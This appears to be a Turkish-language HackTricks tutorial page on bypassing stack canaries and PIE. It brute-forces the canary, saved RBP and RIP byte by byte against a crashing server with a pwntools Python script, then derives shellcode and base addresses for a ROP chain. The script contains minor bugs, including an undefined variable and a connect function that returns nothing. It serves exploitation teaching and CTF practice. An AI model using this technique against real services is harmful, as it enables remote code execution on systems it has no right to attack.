BF Addresses in the Stack

HackTricks'i Destekleyin

Bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) ile korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.

checksec'in, bir ikilinin bir canary ile korunduğunu bulamayabileceğini unutmayın, bu durum statik olarak derlenmişse ve işlevi tanımlayamıyorsa. Ancak, bir değerin bir işlev çağrısının başında yığında kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz, bunu manuel olarak fark edebilirsiniz.

Kaba Kuvvet Adresleri

PIE'yi atlatmak için bir adres sızdırmanız gerekmektedir. Ve eğer ikili herhangi bir adres sızdırmıyorsa, en iyi yapılacak şey, zayıf olan işlevde yığındaki RBP ve RIP'yi kaba kuvvet uygulamaktır. Örneğin, bir ikili hem bir canary hem de PIE kullanarak korunuyorsa, canary'yi kaba kuvvet uygulamaya başlayabilir, ardından sonraki 8 Bayt (x64) kaydedilmiş RBP ve sonraki 8 Bayt kaydedilmiş RIP olacaktır.

Yığında bulunan dönüş adresinin genellikle ana ikili koduna ait olduğu varsayılır, bu da zayıflık ikili kodda bulunuyorsa genellikle geçerli olacaktır.

İkiliden RBP ve RIP'yi kaba kuvvet uygulamak için, bir geçerli tahmin edilen baytın doğru olduğunu programın bir çıktı verdiğini veya çökmediğini fark edebilirsiniz. Canary'yi kaba kuvvet uygulamak için sağlanan işlevle aynı işlev RBP ve RIP'yi kaba kuvvet uygulamak için kullanılabilir:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Son şey, PIE'ı yenmek için gereken sızdırılan adreslerden yararlı adresleri hesaplamaktır: RBP ve RIP.

RBP adresinden, shell kodunuzu yığında nereye yazdığınızı hesaplayabilirsiniz. Bu, "/bin/sh\x00" dizesini yığının içine nereye yazacağınızı bilmek için çok faydalı olabilir. Sızdırılan RBP ve shell kodunuz arasındaki mesafeyi hesaplamak için sadece RBP sızdırdıktan sonra bir kesme noktası koyabilir ve shell kodunuzun nerede bulunduğunu kontrol edebilirsiniz, ardından, shell kodu ile RBP arasındaki mesafeyi hesaplayabilirsiniz:

INI_SHELLCODE = RBP - 1152

RIP'ten, PIE ikili dosyasının başlangıç adresini hesaplayabilirsiniz, bu da geçerli bir ROP zinciri oluşturmak için ihtiyacınız olan şeydir. Taban adresi hesaplamak için sadece objdump -d vunbinary komutunu çalıştırın ve en son adresleri kontrol edin:

Bu örnekte, tüm kodları bulmak için yalnızca 1 Byte ve yarım gerektiğini görebilirsiniz, sonra, bu durumda taban adresi sızdırılan RIP ancak "000" ile biten olacaktır. Örneğin, 0x562002970ecf sızdırdıysanız, taban adres 0x562002970000 olacaktır.

elf.address = RIP - (RIP & 0xfff)

İyileştirmeler

Bu gönderiden bazı gözlemlere göre, RBP ve RIP değerlerinin sızdırıldığında, sunucunun bazı doğru olmayan değerlerle çökmediği ve BF betiğinin doğru değerleri aldığını düşüneceği mümkündür. Bu, bazı adreslerin tam olarak doğru olanlar olmasa bile bunu bozmayabileceği mümkündür.

Bu blog gönderisine göre sunucuya yapılan istekler arasına kısa bir gecikme eklemek önerilir.

HackTricks'i Destekleyin

Last updated